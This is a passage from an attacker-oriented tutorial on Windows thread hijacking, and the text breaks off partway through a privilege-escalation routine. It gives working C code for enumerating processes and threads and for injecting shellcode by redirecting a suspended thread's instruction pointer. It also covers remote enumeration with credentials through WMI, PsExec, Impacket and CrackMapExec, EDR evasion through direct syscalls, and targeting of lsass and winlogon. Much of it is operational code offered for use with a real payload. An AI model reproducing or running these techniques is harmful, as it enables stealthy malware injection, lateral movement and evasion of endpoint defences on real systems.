Legend:
[LOCAL]= Local process enumeration |[REMOTE]= Remote/cross-process enumeration |[HIJACK]= Thread hijacking technique |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[API]= Windows API call
1. What is Thread Hijacking
What it means: Thread hijacking (also called thread execution hijacking) is a code injection technique where an attacker redirects an existing thread in a running process to execute attacker-controlled shellcode, instead of creating a new thread. The key distinction is that no new thread is spawned — an already-running, legitimate thread is temporarily stolen.
The core concept:
Normal execution:
Process (e.g., explorer.exe)
└─ Thread #1 [RIP → 0x7FF... → legitimate code]
└─ Thread #2 [RIP → 0x7FF... → legitimate code]
└─ Thread #3 [RIP → 0x7FF... → legitimate code]
After thread hijacking:
Process (e.g., explorer.exe)
└─ Thread #1 [RIP → 0x7FF... → legitimate code]
└─ Thread #2 [RIP → 0x???????? → OUR SHELLCODE] ← hijacked
└─ Thread #3 [RIP → 0x7FF... → legitimate code]
Why it's used over CreateRemoteThread:
| Method | New Thread Created | Detected by EDR | OPSEC Level |
|---|---|---|---|
CreateRemoteThread |
YES | Very High (monitored API) | Low |
NtCreateThreadEx |
YES | High (common bypass) | Low–Medium |
| Thread Hijacking | NO | Medium | Medium–High |
| APC Injection (alertable thread) | NO | Medium | Medium |
| Early Bird APC | NO (new process, no new thread) | Low–Medium | High |
The full attack flow:
Step 1: Enumerate running processes → find target PID
Step 2: Enumerate threads of target process → find suitable TID
Step 3: Open handle to target process (PROCESS_ALL_ACCESS)
Step 4: Open handle to target thread (THREAD_ALL_ACCESS)
Step 5: Suspend the target thread
Step 6: Allocate RWX memory in target process
Step 7: Write shellcode into allocated memory
Step 8: Get current thread context (RIP/EIP, registers)
Step 9: Overwrite RIP/EIP to point to shellcode
Step 10: Resume the thread → shellcode executes
Step 11: (Optional) Restore original context after shellcode finishes
[OPSEC] Creating a new thread is noisier than hijacking an existing one. EDR products hook CreateRemoteThread and NtCreateThreadEx — thread hijacking avoids both.
2. Why Process & Thread Enumeration Matters
What it means: Before you can hijack a thread, you need to know what processes and threads exist, which process is the right target, and which of its threads is safe to suspend and redirect without crashing the target application.
The enumeration goal:
Target selection criteria:
├─ Process:
│ ├─ High privilege (SYSTEM, elevated)
│ ├─ Trusted / whitelisted (explorer.exe, svchost.exe, lsass.exe)
│ ├─ Long-lived (not transient)
│ └─ Accessible (can open handle with desired access)
│
└─ Thread:
├─ Suspended or waiting state (safe to suspend again)
├─ NOT holding critical locks (don't suspend UI thread)
├─ Preferably a worker/background thread
└─ NOT the main thread (crashing main thread kills process)
Why bad thread selection crashes targets:
Bad choices (crash risk):
├─ Main UI thread → suspend it → entire GUI freezes / crash
├─ Thread holding a mutex → suspend → deadlock for entire process
├─ Thread inside kernel → suspend may corrupt kernel state
└─ DLL loader lock thread → suspend → loader deadlock (game over)
Good choices:
├─ Thread in WaitForSingleObject / WaitForMultipleObjects
├─ Thread in SleepEx (alertable state)
├─ Thread blocked on I/O
└─ Thread with NtWaitForSingleObject on stack
[OPSEC] Crashing the target process is an instant detection event. Invest time in proper thread selection.
3. Core Windows APIs for Enumeration
What it means: Windows provides several API families for enumerating processes and threads. Knowing all of them matters — some are heavily monitored by EDR, others fly under the radar.
3.1 API Overview
Process Enumeration APIs:
├─ CreateToolhelp32Snapshot + Process32First/Next [HIGH detection]
├─ EnumProcesses (PSAPI) [MEDIUM detection]
├─ NtQuerySystemInformation (SystemProcessInfo) [LOW detection]
└─ WMI Win32_Process query [LOW–MEDIUM detection]
Thread Enumeration APIs:
├─ CreateToolhelp32Snapshot + Thread32First/Next [HIGH detection]
├─ NtQuerySystemInformation (SystemProcessInfo) [LOW detection]
└─ GetThreadContext / SetThreadContext [MEDIUM detection — used after enum]
Handle APIs (required for hijacking):
├─ OpenProcess(PROCESS_ALL_ACCESS, ...)
├─ OpenThread(THREAD_ALL_ACCESS, ...)
├─ SuspendThread / ResumeThread
├─ GetThreadContext / SetThreadContext
└─ VirtualAllocEx + WriteProcessMemory
3.2 Required Access Rights
// Process handle rights needed for thread hijacking
DWORD procRights = PROCESS_VM_OPERATION // VirtualAllocEx, WriteProcessMemory
| PROCESS_VM_WRITE // WriteProcessMemory
| PROCESS_VM_READ; // ReadProcessMemory (optional)
// Or the nuclear option (flagged by EDR):
DWORD procRights = PROCESS_ALL_ACCESS; // 0x1FFFFF — very suspicious
// Thread handle rights needed for hijacking
DWORD threadRights = THREAD_SUSPEND_RESUME // SuspendThread/ResumeThread
| THREAD_GET_CONTEXT // GetThreadContext
| THREAD_SET_CONTEXT; // SetThreadContext
// Or the nuclear option:
DWORD threadRights = THREAD_ALL_ACCESS; // 0x1FFFFF
[OPSEC] PROCESS_ALL_ACCESS and THREAD_ALL_ACCESS are heavily flagged. Use minimum required rights and combine with handle manipulation tricks (e.g., via duplicated handles) to reduce noise.
4. Local Process Enumeration
What it means: Local process enumeration means finding processes running on the same machine, from within your current process context. This is always the first step — even for remote thread hijacking, you must first find the target PID locally.
4.1 Method 1 — Toolhelp32 Snapshot (Most Common)
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Enumerate all running processes via CreateToolhelp32Snapshot
// Returns PID of a process matching the target name (or 0 if not found)
DWORD FindProcessByName(const char* targetName) {
HANDLE hSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32 = { 0 };
DWORD targetPid = 0;
// Take a snapshot of all processes in the system
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot failed: %lu\n", GetLastError());
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
// Get the first process in the snapshot
if (!Process32First(hSnap, &pe32)) {
printf("[-] Process32First failed: %lu\n", GetLastError());
CloseHandle(hSnap);
return 0;
}
// Walk the snapshot
do {
if (_stricmp(pe32.szExeFile, targetName) == 0) {
targetPid = pe32.th32ProcessID;
printf("[+] Found '%s' — PID: %lu\n", pe32.szExeFile, targetPid);
break;
}
} while (Process32Next(hSnap, &pe32));
CloseHandle(hSnap);
return targetPid;
}
// Full enumeration — list ALL processes
void ListAllProcesses(void) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32 = { .dwSize = sizeof(PROCESSENTRY32) };
printf("%-30s %-8s %-8s\n", "Process Name", "PID", "ParentPID");
printf("%-30s %-8s %-8s\n", "------------", "---", "---------");
if (Process32First(hSnap, &pe32)) {
do {
printf("%-30s %-8lu %-8lu\n",
pe32.szExeFile,
pe32.th32ProcessID,
pe32.th32ParentProcessID);
} while (Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
}
// Usage:
// DWORD pid = FindProcessByName("explorer.exe");
// DWORD pid = FindProcessByName("svchost.exe");
4.2 Method 2 — EnumProcesses (PSAPI)
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
// Link: -lpsapi (MinGW) or psapi.lib (MSVC)
void EnumProcessesPSAPI(void) {
DWORD pids[1024];
DWORD bytesReturned;
DWORD processCount;
// EnumProcesses fills pids[] with all PIDs
if (!EnumProcesses(pids, sizeof(pids), &bytesReturned)) {
printf("[-] EnumProcesses failed: %lu\n", GetLastError());
return;
}
processCount = bytesReturned / sizeof(DWORD);
printf("[*] Found %lu processes\n", processCount);
for (DWORD i = 0; i < processCount; i++) {
if (pids[i] == 0) continue; // System Idle Process
// Open handle to get the process name
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pids[i]);
if (hProc == NULL) {
// May fail on protected processes (lsass, csrss, etc.)
printf(" PID %-6lu — [access denied]\n", pids[i]);
continue;
}
char procName[MAX_PATH] = "<unknown>";
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProc, &hMod, sizeof(hMod), &cbNeeded)) {
GetModuleBaseNameA(hProc, hMod, procName, sizeof(procName));
}
printf(" PID %-6lu — %s\n", pids[i], procName);
CloseHandle(hProc);
}
}
// PSAPI: more verbose than Toolhelp32 but slightly different behavior
// Advantage: doesn't need TH32CS_SNAPPROCESS flag (slightly less noisy)
// Disadvantage: requires opening handles to get names
4.3 Method 3 — NtQuerySystemInformation (Lowest Level)
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
// Define structures not in standard headers
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
LONG BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR UniqueProcessKey;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG Reserved2;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
PVOID Reserved3;
SIZE_T QuotaPagedPoolUsage;
PVOID Reserved4;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved5[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
// THREAD_INFO embedded in SYSTEM_PROCESS_INFORMATION (follows after struct)
typedef struct _SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId; // ClientId.UniqueThread = TID
LONG Priority;
LONG BasePriority;
ULONG ContextSwitches;
ULONG ThreadState; // 5 = waiting (good for hijack)
ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
// Dynamically resolve NtQuerySystemInformation
typedef NTSTATUS(WINAPI* pNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
void EnumProcessesNt(void) {
pNtQuerySystemInformation NtQSI =
(pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQSI) { printf("[-] Failed to resolve NtQSI\n"); return; }
ULONG bufSize = 0x10000; // Start with 64KB, grow if needed
PVOID pBuf = NULL;
NTSTATUS status;
ULONG retLen;
do {
pBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
if (!pBuf) { printf("[-] Alloc failed\n"); return; }
// SystemProcessInformation = 5
status = NtQSI(5, pBuf, bufSize, &retLen);
if (status == 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
HeapFree(GetProcessHeap(), 0, pBuf);
bufSize = retLen + 0x1000; // Grow buffer
pBuf = NULL;
}
} while (status == 0xC0000004L);
if (status != 0) {
printf("[-] NtQuerySystemInformation failed: 0x%lx\n", status);
HeapFree(GetProcessHeap(), 0, pBuf);
return;
}
// Walk the linked list of SYSTEM_PROCESS_INFORMATION
PSYSTEM_PROCESS_INFORMATION pCur = (PSYSTEM_PROCESS_INFORMATION)pBuf;
while (1) {
// ImageName is a UNICODE_STRING (may be null for Idle/System)
if (pCur->ImageName.Buffer) {
wprintf(L" PID %-6llu Threads %-4lu Name: %wZ\n",
(ULONG64)pCur->UniqueProcessId,
pCur->NumberOfThreads,
&pCur->ImageName);
}
if (pCur->NextEntryOffset == 0) break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
HeapFree(GetProcessHeap(), 0, pBuf);
}
[DETECT] CreateToolhelp32Snapshot with TH32CS_SNAPPROCESS is one of the most heavily monitored calls. EDR products log every call. NtQuerySystemInformation is lower level and bypasses some usermode hooks when called via direct syscall.
[EVASION] Use direct syscalls (e.g., with SysWhispers3 or HellsGate) to avoid EDR hooks on NtQuerySystemInformation.
5. Remote Process Enumeration
What it means: Remote enumeration means enumerating processes on a different machine over the network — useful in lateral movement scenarios where you've established a foothold and want to identify injection targets on adjacent hosts.
5.1 Remote Enumeration via WMI (wmic)
:: List all processes on a remote machine
wmic /node:"192.168.1.50" /user:"DOMAIN\user" /password:"pass" process list brief
:: Get specific fields
wmic /node:"192.168.1.50" process get Name,ProcessId,ParentProcessId,ExecutablePath
:: Filter for a specific process
wmic /node:"192.168.1.50" process where "Name='explorer.exe'" get ProcessId,SessionId
5.2 Remote Enumeration via PowerShell (WMI)
# Enumerate processes on a remote host
$cred = Get-Credential
Get-WmiObject -Class Win32_Process -ComputerName "192.168.1.50" -Credential $cred |
Select-Object Name, ProcessId, ParentProcessId, SessionId |
Sort-Object Name |
Format-Table -AutoSize
# Find specific target
Get-WmiObject -Class Win32_Process -ComputerName "192.168.1.50" -Credential $cred |
Where-Object { $_.Name -eq "explorer.exe" } |
Select-Object ProcessId, SessionId, CommandLine
5.3 Remote Enumeration via PowerShell (CIM — Modern)
# CIM is the modern replacement for WMI (uses WS-Man / DCOM)
$sessionOpts = New-CimSessionOption -Protocol Dcom # Use DCOM (port 135)
$session = New-CimSession -ComputerName "192.168.1.50" -Credential $cred -SessionOption $sessionOpts
# Enumerate processes
Get-CimInstance -ClassName Win32_Process -CimSession $session |
Select-Object Name, ProcessId, ParentProcessId |
Format-Table -AutoSize
Remove-CimSession $session
5.4 Remote Enumeration via PsExec + Tasklist
:: PsExec to run commands on remote host
PsExec.exe \\192.168.1.50 -u DOMAIN\user -p pass tasklist /v
:: Filter output
PsExec.exe \\192.168.1.50 tasklist | findstr /i "explorer svchost lsass"
:: Get detailed info including services per PID
PsExec.exe \\192.168.1.50 tasklist /svc
5.5 Remote Enumeration via SMB / Impacket (Linux)
# Impacket's wmiexec — execute commands via WMI over SMB
wmiexec.py DOMAIN/user:pass@192.168.1.50 "tasklist /v"
# Impacket's psexec
psexec.py DOMAIN/user:pass@192.168.1.50 "tasklist"
# CrackMapExec (CME) — mass enumeration across subnets
crackmapexec smb 192.168.1.0/24 -u user -p pass --processes
# SMB named pipe enumeration (for connected process info)
smbclient //192.168.1.50/IPC$ -U "DOMAIN\user%pass"
5.6 Remote Enumeration via C# (for BOF / .NET implants)
using System;
using System.Diagnostics;
using System.Management;
class RemoteProcessEnum {
static void Enumerate(string target, string user, string pass) {
// Connection options for remote WMI
ConnectionOptions opts = new ConnectionOptions {
Username = user,
Password = pass,
Impersonation = ImpersonationLevel.Impersonate,
Authentication = AuthenticationLevel.PacketPrivacy
};
ManagementScope scope = new ManagementScope(
$@"\\{target}\root\cimv2", opts);
try {
scope.Connect();
} catch (Exception e) {
Console.WriteLine($"[-] WMI connection failed: {e.Message}");
return;
}
ObjectQuery query = new ObjectQuery(
"SELECT Name, ProcessId, ParentProcessId FROM Win32_Process");
using (ManagementObjectSearcher searcher =
new ManagementObjectSearcher(scope, query)) {
foreach (ManagementObject obj in searcher.Get()) {
Console.WriteLine(
$" PID {obj["ProcessId"],-8} PPID {obj["ParentProcessId"],-8} {obj["Name"]}");
}
}
}
}
[OPSEC] WMI remote queries generate Windows Event Log entries (EventID 4688 on target, EventID 4648 for explicit credential use). Use over an already-established implant channel, not directly from attacking machine.
6. Thread Enumeration — Local
What it means: Once you have a target PID, you need to enumerate that process's threads to find one safe to hijack. Thread enumeration is almost always done via the Toolhelp32 snapshot filtered by PID, or via NtQuerySystemInformation which returns thread info alongside process info.
6.1 Toolhelp32 Thread Snapshot
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Thread state values (from SYSTEM_THREAD_INFORMATION.ThreadState)
const char* ThreadStateStr(DWORD state) {
switch (state) {
case 0: return "Initialized";
case 1: return "Ready";
case 2: return "Running";
case 3: return "Standby";
case 4: return "Terminated";
case 5: return "Waiting"; // ← BEST for hijacking
case 6: return "Transition";
case 7: return "DeferredReady";
default: return "Unknown";
}
}
// Enumerate threads of a specific process by PID
DWORD GetFirstThreadOfProcess(DWORD targetPid) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
printf("[-] Snapshot failed: %lu\n", GetLastError());
return 0;
}
THREADENTRY32 te32 = { .dwSize = sizeof(THREADENTRY32) };
DWORD firstTid = 0;
printf("[*] Threads for PID %lu:\n", targetPid);
printf(" %-10s %-10s %-8s\n", "TID", "BasePriority", "dwFlags");
if (Thread32First(hSnap, &te32)) {
do {
// Filter: only threads belonging to our target PID
if (te32.th32OwnerProcessID == targetPid) {
printf(" %-10lu %-10ld %-8lu\n",
te32.th32ThreadID,
te32.tpBasePri,
te32.dwFlags);
// Save first thread found
if (firstTid == 0)
firstTid = te32.th32ThreadID;
}
} while (Thread32Next(hSnap, &te32));
}
CloseHandle(hSnap);
return firstTid;
}
// Get ALL thread IDs for a process into an array
DWORD GetAllThreadIDs(DWORD targetPid, DWORD* tids, DWORD maxTids) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32 = { .dwSize = sizeof(THREADENTRY32) };
DWORD count = 0;
if (hSnap == INVALID_HANDLE_VALUE) return 0;
if (Thread32First(hSnap, &te32)) {
do {
if (te32.th32OwnerProcessID == targetPid && count < maxTids) {
tids[count++] = te32.th32ThreadID;
}
} while (Thread32Next(hSnap, &te32));
}
CloseHandle(hSnap);
return count; // Returns number of threads found
}
6.2 NtQuerySystemInformation — Thread Enumeration
// NtQSI returns both process AND thread info in one call
// Threads are embedded after each SYSTEM_PROCESS_INFORMATION struct
void EnumThreadsForProcess(DWORD targetPid) {
// (Same NtQSI setup as section 4.3)
// After getting pBuf and walking to the target process:
PSYSTEM_PROCESS_INFORMATION pProc = /* ... find target PID ... */;
// Threads immediately follow the SYSTEM_PROCESS_INFORMATION struct
PSYSTEM_THREAD_INFORMATION pThread =
(PSYSTEM_THREAD_INFORMATION)(pProc + 1);
printf("[*] Threads for PID %llu (%lu threads):\n",
(ULONG64)pProc->UniqueProcessId, pProc->NumberOfThreads);
for (ULONG i = 0; i < pProc->NumberOfThreads; i++) {
printf(" TID %-8llu State %-3lu (%s) WaitReason %-3lu StartAddr 0x%p\n",
(ULONG64)pThread[i].ClientId.UniqueThread,
pThread[i].ThreadState,
ThreadStateStr(pThread[i].ThreadState),
pThread[i].WaitReason,
pThread[i].StartAddress);
}
}
// Thread State 5 (Waiting) with WaitReason = UserRequest (6) or Executive (0)
// is the ideal hijack target: thread is sleeping/blocked, safe to suspend
[DETECT] TH32CS_SNAPTHREAD is flagged by many EDR hooks. Prefer NtQuerySystemInformation(5, ...) or direct syscall equivalents for lower noise.
7. Thread Enumeration — Remote
What it means: Remote thread enumeration means identifying thread IDs in a process running on a different machine. This is primarily used to plan thread hijacking payloads, or for post-exploitation mapping of a compromised host.
7.1 Remote Thread Enum via PowerShell
# Get threads of a specific process on a remote machine
# (No direct WMI class for threads — use PsExec or PSRemoting)
# PSRemoting (requires WinRM enabled on target)
Invoke-Command -ComputerName "192.168.1.50" -Credential $cred -ScriptBlock {
$proc = Get-Process -Name "explorer" -ErrorAction SilentlyContinue
if ($proc) {
$proc | ForEach-Object {
Write-Output "PID: $($_.Id) — Threads: $($_.Threads.Count)"
$_.Threads | Select-Object Id, ThreadState, WaitReason |
Format-Table -AutoSize
}
}
}
# Get thread handles and start addresses remotely
Invoke-Command -ComputerName "192.168.1.50" -Credential $cred -ScriptBlock {
$target = Get-Process -Name "svchost" | Select-Object -First 1
$target.Threads | Select-Object Id, ThreadState, WaitReason, StartAddress
}
7.2 Remote Thread Enum via C (on already-injected implant)
// Once you have code running on the remote system, thread enumeration
// is identical to local enumeration — just called from the implant
// Implant running on TARGET machine calls:
DWORD tid = GetFirstThreadOfProcess(targetPid); // Exactly like local
// Then hijacks from within — doesn't need network remote calls
7.3 Remote Thread Enum via Impacket / Python
#!/usr/bin/env python3
# Remote thread enumeration via WMI
# Requires: pip install impacket
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
TARGET = "192.168.1.50"
USERNAME = "DOMAIN\\user"
PASSWORD = "password"
dcom = DCOMConnection(TARGET, USERNAME, PASSWORD, oxidResolver=True)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
# Note: Win32_Thread gives remote thread visibility
iEnumWbemClassObject = iWbemServices.ExecQuery(
'SELECT * FROM Win32_Thread WHERE ProcessHandle="1234"')
while True:
try:
pEnum = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = pEnum.getProperties()
print(f"TID: {record['Handle']['value']}")
print(f" State: {record['ThreadState']['value']}")
print(f" WaitReason: {record['ThreadWaitReason']['value']}")
print(f" Priority: {record['Priority']['value']}")
except Exception:
break
8. Selecting the Right Target Thread
What it means: Not every thread is safe to hijack. Suspending the wrong thread can deadlock or crash the target process, alerting defenders. Proper thread selection is critical to stealthy, stable hijacking.
8.1 Thread Selection Criteria
Thread selection priority (best to worst):
1. [BEST] Thread in WaitForSingleObject / WaitForMultipleObjects
→ ThreadState = 5 (Waiting), WaitReason = UserRequest (6)
→ Safe: thread is blocked, no locks held
2. [GOOD] Thread in SleepEx (alertable)
→ ThreadState = 5, WaitReason = Executive (0)
→ Good for APC injection specifically
3. [OK] Thread on I/O wait
→ ThreadState = 5, WaitReason = UserRequest or Executive
→ Acceptable if I/O is non-critical
4. [RISKY] Thread in Ready/Running state
→ ThreadState = 1 or 2
→ Risk: thread may hold locks; timing is critical
5. [AVOID] Main thread (TID == lowest TID in process)
→ Crashing it kills entire process
6. [NEVER] Thread in kernel mode at critical section
→ Corrupts kernel state; BSOD possible
8.2 Thread Picker — Safe Selection Logic
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// WaitReason values (from Windows Internals)
#define WAIT_REASON_EXECUTIVE 0
#define WAIT_REASON_USER_REQUEST 6
// Attempt to find the "safest" thread to hijack in a target process
// Prefers waiting threads, falls back to any non-main thread
DWORD FindSafeHijackThread(DWORD targetPid) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32 = { .dwSize = sizeof(THREADENTRY32) };
DWORD lowestTid = 0xFFFFFFFF; // Track main thread (usually lowest TID)
DWORD preferredTid = 0;
DWORD fallbackTid = 0;
if (hSnap == INVALID_HANDLE_VALUE) return 0;
if (Thread32First(hSnap, &te32)) {
do {
if (te32.th32OwnerProcessID != targetPid) continue;
// Track lowest TID (likely main thread — avoid it)
if (te32.th32ThreadID < lowestTid)
lowestTid = te32.th32ThreadID;
// Try to open and check thread state
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION,
FALSE, te32.th32ThreadID);
if (!hThread) continue;
// Basic fallback: any thread that isn't the main thread
if (fallbackTid == 0)
fallbackTid = te32.th32ThreadID;
CloseHandle(hThread);
} while (Thread32Next(hSnap, &te32));
}
CloseHandle(hSnap);
// Avoid using the main thread (lowest TID) as fallback
if (fallbackTid == lowestTid && fallbackTid != 0) {
printf("[!] Warning: Only main thread available — risky\n");
}
DWORD chosen = preferredTid ? preferredTid : fallbackTid;
printf("[*] Selected TID: %lu (main TID was: %lu)\n", chosen, lowestTid);
return chosen;
}
8.3 Verify Thread is in Alertable Wait (for APC)
// For APC injection: thread MUST be in alertable wait state
// Check by inspecting the thread's call stack (requires symbol resolution)
// Or: rely on threads known to call SleepEx / MsgWaitForMultipleObjectsEx
// Rough heuristic: service host threads (svchost.exe) often have alertable threads
// because Windows services frequently call SleepEx in their service loops
// Thread state 5 + WaitReason 0 (Executive) usually means alertable
// Thread state 5 + WaitReason 6 (UserRequest) usually means non-alertable
// For precision: walk the thread stack with StackWalk64 to find SleepEx frame
[OPSEC] If you inject into a non-alertable thread via APC and it never enters an alertable state, your shellcode never runs. APCs require proper thread selection.
9. Local Thread Hijacking — Classic (SuspendThread + SetContext)
What it means: Local thread hijacking suspends a thread in the current process (or a process you have full access to on the same host), rewrites its instruction pointer, and resumes it. This is the foundational technique — understand this before moving to remote variants.
9.1 Full Local Thread Hijack (C)
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Example shellcode (calc.exe launcher — for demo only)
// Replace with your actual payload
unsigned char shellcode[] = {
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
// ... (truncated for brevity — use full payload)
};
SIZE_T shellcodeLen = sizeof(shellcode);
BOOL LocalThreadHijack(DWORD targetPid, DWORD targetTid) {
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteShellcode = NULL;
// ── Step 1: Open the target process ──────────────────────────────
hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, targetPid);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Process handle obtained\n");
// ── Step 2: Open the target thread ───────────────────────────────
hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE, targetTid);
if (!hThread) {
printf("[-] OpenThread failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Thread handle obtained\n");
// ── Step 3: Suspend the target thread ────────────────────────────
DWORD suspendCount = SuspendThread(hThread);
if (suspendCount == (DWORD)-1) {
printf("[-] SuspendThread failed: %lu\n", GetLastError());
goto cleanup;
}
printf("[+] Thread suspended (prev suspend count: %lu)\n", suspendCount);
// ── Step 4: Allocate memory in target process ─────────────────────
pRemoteShellcode = VirtualAllocEx(
hProcess,
NULL,
shellcodeLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE); // RWX — flag this in prod, use RW+RX two-step
if (!pRemoteShellcode) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
ResumeThread(hThread);
goto cleanup;
}
printf("[+] Memory allocated at 0x%p\n", pRemoteShellcode);
// ── Step 5: Write shellcode ───────────────────────────────────────
SIZE_T written = 0;
if (!WriteProcessMemory(hProcess, pRemoteShellcode,
shellcode, shellcodeLen, &written)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
ResumeThread(hThread);
goto cleanup;
}
printf("[+] Shellcode written (%zu bytes)\n", written);
// ── Step 6: Change page protection RW→RX (better OPSEC) ──────────
DWORD oldProtect;
VirtualProtectEx(hProcess, pRemoteShellcode, shellcodeLen,
PAGE_EXECUTE_READ, &oldProtect);
// ── Step 7: Get current thread context (capture registers) ────────
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &ctx)) {
printf("[-] GetThreadContext failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
ResumeThread(hThread);
goto cleanup;
}
printf("[+] Thread context captured — RIP: 0x%llx\n", ctx.Rip);
// ── Step 8: Redirect RIP to shellcode ─────────────────────────────
// Save original RIP (to restore later if needed)
DWORD64 originalRip = ctx.Rip;
ctx.Rip = (DWORD64)pRemoteShellcode;
if (!SetThreadContext(hThread, &ctx)) {
printf("[-] SetThreadContext failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
ResumeThread(hThread);
goto cleanup;
}
printf("[+] RIP redirected to shellcode: 0x%p\n", pRemoteShellcode);
printf("[+] Original RIP: 0x%llx\n", originalRip);
// ── Step 9: Resume the thread → shellcode executes ────────────────
ResumeThread(hThread);
printf("[+] Thread resumed — shellcode executing\n");
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
cleanup:
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);
return FALSE;
}
int main(void) {
// Find and hijack explorer.exe's first thread
DWORD pid = FindProcessByName("notepad.exe"); // Safe test target
if (!pid) { printf("[-] Target not found\n"); return 1; }
DWORD tid = GetFirstThreadOfProcess(pid);
if (!tid) { printf("[-] No threads found\n"); return 1; }
LocalThreadHijack(pid, tid);
return 0;
}
9.2 x86 vs x64 Context Register
// x64 — use Rip
ctx.Rip = (DWORD64)pRemoteShellcode;
// x86 — use Eip
ctx.Eip = (DWORD)pRemoteShellcode;
// Stack alignment (x64 ABI requires 16-byte aligned RSP before CALL)
// If your shellcode crashes on entry, align the stack:
ctx.Rsp -= 8; // Push a phantom return address to align RSP to 16
ctx.Rip = (DWORD64)pRemoteShellcode;
[DETECT] SuspendThread → GetThreadContext → SetThreadContext → ResumeThread in sequence is a well-known signature. EDR products like CrowdStrike Falcon detect this pattern. Obfuscate with jitter between calls or use indirect syscalls.
10. Remote Thread Hijacking — Classic
What it means: Remote thread hijacking performs the same SuspendThread + SetContext attack but targets a process you don't own — typically a privileged process like winlogon.exe, lsass.exe, or svchost.exe. This usually requires SeDebugPrivilege.
10.1 Enable SeDebugPrivilege
#include <windows.h>
#include <stdio.h>
// SeDebugPrivilege allows opening handles to privileged processes
// Required to open lsass.exe, winlogon.exe, csrss.exe etc.
BOOL EnableDebugPrivilege(void) {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
// Open our own process token
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken failed: %lu\n", GetLastError());
return FALSE;
}
// Lookup the LUID for SeDebugPrivilege
if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid)) {
